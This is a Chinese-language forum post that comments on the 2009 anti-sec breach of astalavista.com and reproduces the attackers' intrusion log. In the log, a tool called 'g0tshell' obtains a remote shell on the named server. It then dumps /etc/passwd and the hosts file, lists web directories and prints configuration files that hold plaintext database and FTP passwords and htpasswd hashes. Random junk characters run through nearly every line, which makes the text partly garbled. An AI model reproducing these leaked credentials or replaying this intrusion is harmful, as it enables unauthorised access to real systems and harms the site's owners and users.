里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。
( w; a$ {- s& y% X N
, J7 O6 x: O4 h2 V% p+ a/ i" X[root@front3 ~]# curl -I litespeedtech.com+ e+ H3 O9 U8 T+ H: D0 s
HTTP/1.1 200 OK
0 C) S" W7 J0 V. {- BDate: Fri, 05 Jun 2009 22:54:51 GMT
+ y- d- a) N& f5 N; b' Q x' g, UServer: LiteSpeed
$ x; Y2 u, K3 N& J) l5 x l+ L) [& \) y9 D$ S" u8 _ m
另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-3 T7 K# x) }) K$ P2 c% ~9 y. p
4 }1 @' }' X J. J
有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。7 t: f/ [/ ~( ?3 g
" _0 d+ ]& w ?/ R* g% ?
; Y& A# p! G: J) M+ c" l6 u8 m) {
/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \ / a$ C( D. w4 b) O
/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \/ V& g. E$ M6 e3 |) ]! B
/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \- J. m( z4 R# y( w) w. }' N5 P* H
\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /( E/ Y/ B. k2 E) m+ g1 e2 m
\/ \/ \/ \/ \/ \/ \/
K, }$ D* w& e7 ^, O The Hacking & Security Community' N; s3 H; @+ M+ _2 S5 T: _
[+] Founded in 1997 by a hacker computer enthusiast
' ^4 h. [' r! D: Z) d[-] Exposed in 2009 by anti-sec group
' p, x1 H, \6 P; ]
. u' ~( Q+ Z% E2 ^7 x4 s- }5 iFrom < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:" I z! L! m( a' `$ d7 C
>> 03. Who’s behind the site?3 Z* W% T6 W; T5 j
>>
! M7 }: Z# X/ d: i>> A team of security and IT professionals, and a countless number of contributors from all over the world.
: N. i; F0 V* m, ^8 [+ f: z! a' ^. e1 {
>> 05. Is it true that the site is visited by script-kiddies and warez fans only?
6 e4 W0 y# ?. B' }>>
! w0 u4 S7 Z8 |2 c0 `/ o3 k1 z>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and; S: T9 {( y( L& \
military institutions.
0 P7 p0 W( {( b, k: G' c/ ~>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.
, s$ ]' I k$ L+ C, S6 _( {9 K% p. q- ~, ^9 N: Z
Why has Astalavista been targeted?5 l$ a1 M" v. F4 i5 h& P
/ z% u% x: f( j- w# _& @! v ]Other than the fact that they are not doing any of this for the “community” but0 V- D4 i+ l9 r& q; Z
for the money, they spread exploits for kids, claim to be a security community% K: ?% X* _9 Y" Z. ^! l
(with no real sense of security on their own servers), and they charge you $6.66
: O2 N* y6 ^' y0 O, Iper months to access a dead forum with a directory filled with public releases
% S! i( U* r' J4 v. iand outdated / broken services.
) d' @. a3 i8 u9 k0 O/ F# [: j3 ?
" X6 A, ~) n- L' nWe wanted to see how good that “team of security and IT professionals” really is.
# K( w" _. x! H$ @+ Z1 H; R( b M1 m: e
Let’s begin." D. O9 j/ j' P4 I! u
$ R4 `* W: S# |6 o1 P) t- b
anti-sec:~# ./g0tshell astalavista.com -p 80- Y# J9 S# s. ~: t! r0 e
[+] Connecting to astalavista.com:806 S' k& T# y3 C" E
[+] Grabbing banner…5 ~$ [% T4 J# d5 a* S( j6 m2 J$ K
LiteSpeed6 D, r/ U# C9 @) ?) F, b, r
[+] Injecting shellcode…
3 X' e9 x2 J; ~/ s+ B[-] Wait for it6 I$ M' ?% N- [1 r- j* D8 ]6 R
! u: i p r1 t
[~] We g0tshell
9 H0 |- _( t: E% u, Uuname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux
0 W# |) @3 @9 R0 z( m% ]ID: uid=100(apache) gid=500(apache) groups=500(apache)
/ c$ }1 {5 [# u% x; C
1 ~. n4 ?( \) @5 W4 gsh-3.2$ cat /etc/passwd/ a6 \5 \) k2 v/ }6 O0 M# Y
root:x:0:0:root:/root:/bin/bash
5 C$ c9 A; O: X/ ?6 K/ f9 Q$ mbin:x:1:1:bin:/bin:/sbin/nologin! ?$ {3 x, D+ b3 {% C. j
daemon:x:2:2:daemon:/sbin:/sbin/nologin
' @' f, m: u* w; t# D/ g& l) eadm:x:3:4:adm:/var/adm:/sbin/nologin
: r( d8 B6 F: O. \0 c6 }: Tlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
: @ q( L! u) y: _; \" y/ gsync:x:5:0:sync:/sbin:/bin/sync
) R5 W0 @. S; B7 Q* o4 n4 zshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
! {) [6 I2 O! j# E1 p. Jhalt:x:7:0:halt:/sbin:/sbin/halt
}5 R( q( ^+ H1 M! dmail:x:8:12:mail:/var/spool/mail:/sbin/nologin
5 T( I a& U. j7 a. I& z+ ^news:x:9:13:news:/etc/news:
8 ?8 ?9 m, V/ Q7 |- ]uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
- y- p) z; Q; l2 C" z" uoperator:x:11:0 perator:/root:/sbin/nologin
1 c' _+ P' j: [8 i0 @8 { _) I6 lgames:x:12:100:games:/usr/games:/sbin/nologin! T2 L. y0 q0 ]4 d% r. |2 O9 i
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin5 b0 ^) O1 K4 ?+ s+ J
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin1 p0 p% n, X5 r6 ^
nobody:x:99:99:Nobody:/:/sbin/nologin9 j& {- J7 H' R5 E& ?
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
4 L3 {' B7 d! N9 Q1 pdbus:x:81:81:System message bus:/:/sbin/nologin, X4 V" |$ x! n! k
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
) K/ n- w, g x# _; t9 C5 _mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
$ H! F1 n$ T; M* {smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
3 H. j" B d" n$ C1 h$ m6 x& jvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
) {6 B' R Q6 ?' s* p- K" Dhaldaemon:x:68:68:HAL daemon:/:/sbin/nologin
* i+ X( i! [' xrpc:x:32:32 ortmapper RPC user:/:/sbin/nologin9 [1 A+ ]- L: G& S9 a) a: ^
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin6 i% G: `2 a3 f6 ^$ P* X
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
1 n, O1 O+ l$ R& Isshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin
. {% i/ Z% c4 Vpcap:x:77:77::/var/arpwatch:/sbin/nologin
) x# h: x* S& t/ r4 bnamed:x:25:25:Named:/var/named:/sbin/nologin) o* W/ u& A q8 ]! O0 ]
apache:x:100:500::/var/www:/bin/false+ t: F/ V0 m( u& i
diradmin:x:101:101::/usr/local/directadmin:/bin/bash" x$ s: R( _! d8 z& P6 N
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
0 r5 ^9 ^1 y( a) }webapps:x:500:501::/var/www/html:/bin/bash
# g. v. F& }% W* G+ r) C# s1 Emajordomo:x:103:2::/etc/virtual/majordomo:/bin/bash: t. v, _6 q3 K! j/ B; p1 q) D9 S( p
admin:x:501:502::/home/admin:/bin/bash
. [6 h; D/ i1 ?$ d- \1 d0 a# ujon:x:502:503::/home/jon:/bin/bash
5 E7 }3 p/ `8 n) ]# Bcom:x:503:504::/home/com:/bin/bash0 C. C8 f+ A" X O- E
ntp:x:38:38::/etc/ntp:/sbin/nologin; N- K( M/ |" p$ O4 ?& k' C
ais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin
" L. }, M5 W1 U$ D$ v' J( Xastanet:x:504:505::/home/astanet:/bin/bash; O" y% z2 i' j/ W; j; f
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
; \8 ~ C, M4 gavahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin* ~6 g8 o- c0 d" J) z2 P& |
$ U0 u6 ^& r$ @6 N* e" S6 {
sh-3.2$ cat /etc/hosts1 T( J1 Z/ ~2 h; M
# Do not remove the following line, or various programs, e% M, W7 ^: J4 I. d1 v9 r
# that require network functionality will fail.
0 g$ Y% x- N3 U7 z127.0.0.1 localhost.localdomain localhost
# |$ G; J r5 p' m* V5 N2 [::1 localhost6.localdomain6 localhost6- D3 j; M* q. p* K/ a
80.74.154.172 asta1.astalavistaserver.com
6 G( C9 _) P1 ]7 X7 L2 b' `( H+ i8 t3 H
sh-3.2$ pwd' i" P- h' |1 u, @. U8 a; O, P1 }
/home/com/public_html
3 o1 `, Z1 t1 K, i6 G- s$ ?# j, \& Z" g0 g2 j
sh-3.2$ ls -la
6 r1 V0 E) h5 j' U/ Y3 Ftotal 18460
) d+ @$ o( Y( K' Idrwxr-xr-x 30 com apache 4096 May 28 17:06 .) ~( Z6 O! r! S
drwx–x–x 11 com com 4096 Jun 25 2008 ..
( Q3 S8 y. \' O) x6 k* P0 A, ?drwxr-xr-x 2 com com 4096 Feb 2 19:29 admin
* J2 c$ m2 a! I) k7 j8 rdrwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache7 L! P' g% k ~# V
drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin8 X; f) R9 X4 b6 J
drwxrwxrwx 2 com com 4096 May 19 00:50 config! ~) u* g% j, X: I2 P' Q) I( M) r
drwxr-xr-x 2 com com 4096 Mar 20 11:05 core2 v* X. @# P# h% \/ u
drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules3 J! r. B- \0 M1 N0 t- [4 _
drwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing
7 y4 m0 v+ P, P/ h7 h! _9 Tdrwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo" ~. e) b8 y+ O% W* r4 {
drwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__; U- s+ i$ ]# n
-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php
3 w+ g- m% K) k% T& {+ H1 Mdrwxr-xr-x 2 com com 4096 Sep 9 2008 dvd
# _% M U+ [- [& Bdrwxr-xr-x 3 com com 4096 Feb 2 19:29 editor; s8 \0 [$ U4 t) ~
-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico
) r! E( m5 l: N- a5 Ydrwxrwxrwx 2 com com 4096 Jun 4 08:00 feed
' U- f$ }% q9 K( k* R* {; c1 ~-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess
7 u( m5 y8 s3 T; x. i5 C% {: Z-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak
& {5 X+ B5 ]+ |' x-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak
0 r3 @/ m3 q+ {' Z+ |drwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool4 k" Z1 U5 d0 V- B- u
drwxrwxrwx 14 com com 4096 Feb 2 19:29 images
* B& E3 N6 v% |" V$ [, C-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php
% k' h3 M# P" X: E) c8 Ldrwxr-xr-x 6 com com 4096 Feb 2 19:29 installer B1 d7 \- {! }) o6 j4 O+ y
drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang7 ]. |; s; |. U9 h: C
drwxr-xr-x 22 com com 4096 Feb 2 19:29 lib" A2 u4 N: n0 a! R# a
drwxrwxrwx 12 com com 4096 Jun 2 07:47 media
" I8 c, n% t+ Q& q3 M6 n3 Q$ Tdrwxr-xr-x 8 com com 4096 May 11 12:48 modifications
% ~6 F& i& K9 Wdrwxr-xr-x 34 com com 4096 May 28 16:30 modules
" G2 E$ R7 J; g0 J/ D1 N' `- sdrwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin
9 I( M! X! N: O( Ddrwxrwxr-x 22 com com 4096 May 28 17:06 _new, `5 V2 B7 f7 }
drwxr-xr-x 26 com com 4096 Feb 2 19:27 _old
+ `/ d6 F9 I- r/ {! r# |" h/ ldrwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy! S; B2 N5 a4 H
drwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy: h/ L7 u' P/ _1 S4 b. ~1 t
-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt
+ a/ P- m* l: T" ~" T-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml
; A% D3 c2 Z7 p* t-rw-r–r– 1 com com 223 Mar 30 15:32 test.php
& N% S) E j; k( H) x8 @/ M8 [5 Adrwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
/ j- h0 |" t* k. T. Qdrwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp
+ h9 a2 @+ @& H+ u2 F; }$ T5 vdrwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam
- D% d( k* k4 K- Z- Q: E) F4 U! c4 G# r8 E; B. H0 I8 F0 F! b5 v! @
sh-3.2$ head -20 index.php9 l K& Z& X8 A. k- H; ], {
<?php2 M3 B3 J& q* o# c3 y
( a7 Y0 g8 q$ @, k
/**
8 |- i* O }8 Z6 R0 K. l* The main page for the CMS
6 U( s X' r4 f* @copyright CONTREXX CMS - COMVATION AG+ @' n1 U" u! s* W! ?9 g) r
* @author Comvation Development Team5 h& @6 w8 h7 C' d
* @version v1.0.9.10.1 stable
a$ X* ^, j7 c/ t% w5 j X* @package contrexx
( j7 a( q, O" }0 j- M# A* @subpackage core) e9 V+ E- P' `5 b0 E/ S/ {
* @link 链接标记[url]http://www.contrexx.com/[/url] contrexx homepage7 S5 @& |" u7 e) ^; \4 y
* @since v0.0.0.0( V g. Y4 m/ {0 p8 |; M
* @todo Capitalize all class names in project
: _7 ?, w; b1 n* @uses /config/configuration.php! Q- n6 L* N$ |# d
* @uses /config/settings.php
4 O& t) b8 M$ r8 v* @uses /config/version.php8 c( f2 l$ ^( F
* @uses /core/API.php: y# j% V, [% R$ {2 F
* @uses /core_modules/cache/index.class.php* O {2 G! {; H: \7 Q* U
* @uses /core/error.class.php0 T+ O6 F c: G9 Y, P" q/ T
* @uses /core_modules/banner/index.class.php
8 K; J7 L6 P' @2 n# R$ l @* @uses /core_modules/contact/index.class.php
$ {2 ?% }, w! A$ h; ?) n
6 E% M0 _3 e$ Hsh-3.2$ cd config/
) Z. p$ t. ?& h+ V& \/ N; Y. Lsh-3.2$ ls -la Q8 C) e6 k& z& Q7 w0 I3 G
total 32" H* @" |/ e" f$ v+ {, R
drwxrwxrwx 2 com com 4096 May 19 00:50 .
; r2 N1 J( t' g; i& \# \drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
( E" j/ L* p7 d0 O-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php' f' a# M% C0 S n$ k% b+ T
-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php
! s# e9 \( B! V7 T+ P9 k$ V2 d$ b/ e1 D-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php
& j* u3 K* `+ n$ _-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php- u2 [; g& b. f( ^( Q
$ |0 g+ H( j' X, l: t% |. Osh-3.2$ cat configuration.php
/ z% v4 g- P' f. Z) w8 G' q, L4 B[snip]
5 s/ R! \1 z3 @5 u. Q$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost
* Q; D2 n- b7 n- }4 m. q$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name
1 }% Q! l) x( R- z- t$ L: O. Q3 _$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix
" S, J8 G! X5 T6 P# M/ g) X$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username
; A' W4 ~( J- B$ p9 Q$ ? X$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password9 z2 K: L9 }& Z' }
$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..), S! F+ M [( e* E3 O. _
$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)
* B/ h5 d% u* E4 O- p4 t[snip]. A2 d6 k& _( R) B7 Z. D! @1 s2 v
$_FTPCONFIG['is_activated'] = true; // Ftp support true or false" Z- g+ x2 x8 @4 b/ D" ^
$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode: d& E1 T8 s3 \2 D) B
$_FTPCONFIG['host'] = ‘localhost’;// This is normally set to localhost
Z% o! m4 M0 E6 T; E/ {$_FTPCONFIG['port'] = 21; // Ftp remote port' A. ]) K+ u9 M; Z# m9 H' H
$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username l# D' h7 v. @0 Y+ M5 F! O
$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password
: f/ e$ a; p+ g9 g: U! K$_FTPCONFIG['path'] = ‘/’; // Ftp path to cms" H" i. b0 X' f9 r7 B- ^1 n
9 o. b9 K: Z; ?2 d+ Y
sh-3.2$ cd ..
* T+ |; i8 i7 q! o$ n6 T# V1 t- wsh-3.2$ cd dvd/
2 c5 }$ j9 z0 K0 L$ esh-3.2$ ls -la0 ^1 o y* z- T& _# C) A- @
total 2913780
) A/ M! ~: x: Adrwxr-xr-x 2 com com 4096 Sep 9 2008 .% r7 ]7 a. |$ J$ O
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..# K* y! D( C( h# `
-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
9 |4 J5 I* k" q; }-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar% U. V6 c, B9 ?1 j$ x* d5 K
-rw-r–r– 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar1 k7 a( e, \" N' `' p3 r
-rw-r–r– 1 com com 115 Jan 29 2008 .htaccess6 J. l/ p9 s$ i- K! q
) x! ]# V, b5 }+ v/ k* m; Jsh-3.2$ cat .htaccess6 e' {" g: b' N' p3 P8 ]
authType Basic
' z# p, j6 c4 S6 w/ @) cauthName DVD
- A. l$ _$ e9 b0 F' G0 ^& I. gauthUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd
$ V: `, c+ e I+ s9 erequire valid-user1 q8 n4 L; U3 z K7 X
/ _, p/ B" ^ Y8 x* ^; y) c( ?sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd- S: u0 m7 p, @. x7 a; ~
DVDdownload:CRD8cuY6.MPT6
4 B, H6 q8 b0 ], y( w" m& MDVDdownload2:CR8a36.wluFMg
! S' p T# L! U" \7 [/ Y- `3 ]2 r5 P8 x* h
sh-3.2$ cat test.php& z; c/ T+ C4 G' _* N& [
<?php/ O9 ~# s: I& I+ @3 @7 p4 K
$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;
+ |7 d" T" f. l4 r" q$ a$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));- f& ?& C. |% d
echo $url;# P: Q" X2 I; @% \ w. L+ B" C
?>
& {2 ]" S' o% W. c' U/ m3 T v1 L9 H" P# C5 ^* X
sh-3.2$ cd modifications/7 d. N: d% M0 v: F- o+ p9 z. y+ c
sh-3.2$ ls -la& e7 Q/ c' N& d$ N9 A6 {/ P
total 32
& z0 u1 h) J4 `9 p& F" D$ v+ tdrwxr-xr-x 8 com com 4096 May 11 12:48 .
8 C3 k' ?+ N# c' M1 x P8 u& Pdrwxr-xr-x 30 com apache 4096 May 28 17:06 ... x; P, { G2 V! U+ t8 W
drwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng
8 S9 G& e! {8 r, R& j7 k J: kdrwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs
- t. p* U/ h! f0 G a8 p: sdrwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools/ e+ Z! P) [0 p+ P- ]
drwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc
. T/ \4 e( C. T% v6 Tdrwxr-xr-x 2 com com 4096 Feb 2 19:33 search
. f4 H0 B, L0 c1 I5 F# Edrwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp0 |/ y D4 |6 H1 k! L! _
" U+ S) }7 x" F6 e8 S7 Msh-3.2$ ls -R
+ h- c8 Y1 z ?" T" f' d# G5 l.:
$ k0 |+ a( f$ ?5 n7 i$ Scom_avtng cronjobs onlinetools pjirc search _tmp
, c" C0 O& d; e5 _
i0 j: Y- J' m* w, ^, f./com_avtng:
/ @( {# p- ~ k" u" Favtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts
/ ?7 {/ R/ P- Y
, S1 J2 P c* L& R3 p./com_avtng/scripts:
# b' a2 O; X rpopunder.js
6 s, }7 G% ?/ r$ Y
, R8 |2 f* U& D# \7 J./cronjobs:; G; W1 B5 f |: s1 A" x7 |
exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp M! b# G5 r* [8 v& w# n
" U- z6 O1 J( l
./cronjobs/tmp:& L+ U/ N; x3 |# s& v7 f
contrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv0 K" e2 r! d" L4 I) A! Z0 i9 J
( n: W. Q/ W& F& X7 E3 N$ w$ d./onlinetools:; A: d' ^. C s5 o1 y
index.php
: }, s1 c: X' } ~& S9 [8 J
# v1 d# s1 v( u" h./pjirc:+ c6 ]3 {: u" U7 t7 ^9 P
a_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt, O: V# L% x9 L" E, ~/ t0 `
AppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt# \* G" m* n% i8 y, i
background.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd
& Q* X5 b6 ^2 m9 N T; o" _
* G# C' Z0 E3 d/ V7 ]: h./pjirc/img:
$ x; D. |* ]6 F w& p4 aange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif
0 ?/ p$ d: M" [: F9 V, e/ r4 v8 }arbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif 7 A+ W- X! k1 [% D9 X1 f" E7 H' H# ?
verre-eau.gif
- m, e e# Z: r" y: w+ X; z, L. x5 Jargh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif % R% ]* Z/ b+ n" R0 _
verre-vin.gif
9 R5 m+ D$ A1 g- [7 z8 oballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif& Q5 u/ [* y8 n* X3 K
biere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif
% l3 k1 ~" k+ t+ W! _( p K$ U+ P4 Y" Z$ g
./pjirc/snd:2 o3 ]& V9 ?% s- p
bell2.au ding.au
9 D8 O! J9 L1 I! A" t
0 s2 [' c/ W' e) y: R; b }/ K./search:) Z7 }0 x5 e5 g. b7 A
searchEngines.php search.php
' i4 O2 ^" I/ a% K9 G4 N' A& H- a1 \7 K6 x. V& J& |
./_tmp: X! O, n( o/ ?7 g9 t6 m/ X
defaultPorts.php defaultPorts.txt
* F2 \, S% ?$ ^/ p& N5 }( V b0 `2 C3 i
sh-3.2$ cd cronjobs/
" s' C+ u* O: O0 `, C# q- X+ C ssh-3.2$ cat exploits.php
4 V3 u& I( x( k; v& i[snip]; P& @! J/ F( |0 L* o t
$categories = array();. u' m% n4 g( a4 Z. @ G/ M" B4 b* l' F
$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;4 R' d: h, k. s
$expolits = file($milw0rmFile);4 C1 t; |4 Z6 L. Y4 \
$comExploits = array();
' J! x& Z. P* [3 R9 I[snip]
# v5 C s& I% }* z- h6 x// manage data
4 ~/ F( U/ }: ] pfor ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 2640. a( l& d* E3 v4 Z( `
$ R% B, e$ Z' P5 U
// get path and title
& J' `5 E0 ^* B- d; A6 Q $expolits[$x] = trim($expolits[$x]);' i+ B- r0 u0 s: O: X) q* l
$path = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));7 H8 ]1 P/ ?+ U) o
$title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);
) m- p2 y: H1 j! c# l
7 U; Z, w1 P8 D0 |+ t // check if file exists
& m* N( g8 ^' A4 ^, J if (file_exists($path)) {% Y) ]# w" i2 W, [7 I P' J# K- U3 Y
$ f1 M+ l- }5 D8 [1 K( u $text = file_get_contents($path);
1 H2 s) Q- I3 E) g3 O P. K! o9 M D9 z9 |
// get content and date0 `- k! Z1 ^5 E2 n' }# }& l8 o
//$text = htmlspecialchars($text, ENT_QUOTES);0 ^6 ? [! {" a2 z3 [8 D+ a
$tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));: L) `, t9 ?) g) G6 y5 W
if ($tmptext != ”) {9 r+ C! d0 O! }6 `, Y% c7 Y
$text = $tmptext;+ ^' W. i# P# q8 d' q4 A
} else { a9 m4 B# k; h3 v# {) d# O h: P- e4 q( C
$text = addslashes(htmlentities($text, ENT_QUOTES));0 j+ d/ Y. |! {2 I% ?8 f
}
$ Y! w5 P, z9 k6 I $date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com ['))); ]5 F1 w- o% d( {( l3 Z
$tmp = explode('-', $date);: [% M, r% m: Q
$date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));4 R/ e) {2 J) i2 Q( F2 {. n# k
$cat = getCategory ($path);
, c. N1 x5 U3 X3 T $ext = pathinfo(basename($path));( U& e( W7 W8 Z* y3 J' H' R- `5 X
$ext = $ext['extension'];+ g* l- n: G6 d6 P- A. j1 R& X
$qStr = ”
6 f+ h& V2 o7 Y% j; g4 w8 D SELECT `id`
# B/ o" T; o' C) \7 M$ B* Y5 M: P FROM `contrexx_module_exploits`! C5 t* d( g r9 F
WHERE `title` = ‘” . $title . “‘' N8 F G: d* G
AND `date` = ‘” . $date . “‘0 p8 ?+ x3 d' G/ w% ^4 o: C' a' ^
“;" U7 ^ }: I2 W
echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;
5 m+ r$ a& E$ h; Z $q = $_objDB->query($qStr);
5 \3 R) X+ p m# M. x( i# y. C% p* K
if ($q->numRows() == 0) {2 V0 e6 [: Z+ W
+ A% l) m2 U9 I& Y. v5 U! a8 ~ // prepare array+ r$ o' Z9 v1 }* }: r7 C
$comExploits[$x]['date'] = $date;
) {' j" k+ j4 o2 @ Q/ T4 c) C $comExploits[$x]['title'] = $title;" }# P( P1 a0 w0 k/ t) j
$comExploits[$x]['author'] = ‘milw0rm’;+ M# ~: B4 j: s5 A
$comExploits[$x]['text'] = $text;
: {+ x5 d' j( \: ^# f) ?) Q% K $comExploits[$x]['source'] = $ext;
! g- V# V3 m! j4 | $comExploits[$x]['url1'] = ”;
5 x4 O9 }/ m- P9 N" f $comExploits[$x]['url2'] = ”;; ?1 j8 c. p' G0 d9 T' ]
$comExploits[$x]['catid'] = $cat;
. [+ Q, \( R+ b" K, x' r$ w $comExploits[$x]['lang'] = ‘2′;2 H4 V7 E- i. g1 w" ~- K
$comExploits[$x]['userid'] = ‘12′;
6 b8 |% q7 p* J $comExploits[$x]['startdate'] = ‘0000-00-00′;5 n& \/ _; l: L% I
$comExploits[$x]['enddate'] = ‘0000-00-00′;
$ s+ k( |2 |7 G $comExploits[$x]['status'] = ‘1′;
; M! G3 y2 r0 z' Q% J% H2 J $comExploits[$x]['changelog'] = $date;
' `' F' u, r0 k- u2 }, a6 e* u; O+ Y* A
}
7 q! Z5 g5 ~1 k0 @! W2 y[snip]8 d2 Y7 X: S, D7 c% |
$xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>
" M$ k6 M i h5 P u: y<rss version=”2.0″># @0 `: t( Y# x; ]8 q9 D( ]
<channel>
) L/ c. e v7 ?. i: \6 B <title>ASTALAVISTA.com - Exploits</title>9 T! |6 y( }3 ^+ m7 N
<link>http://www.astalavista.com/exploits</link>
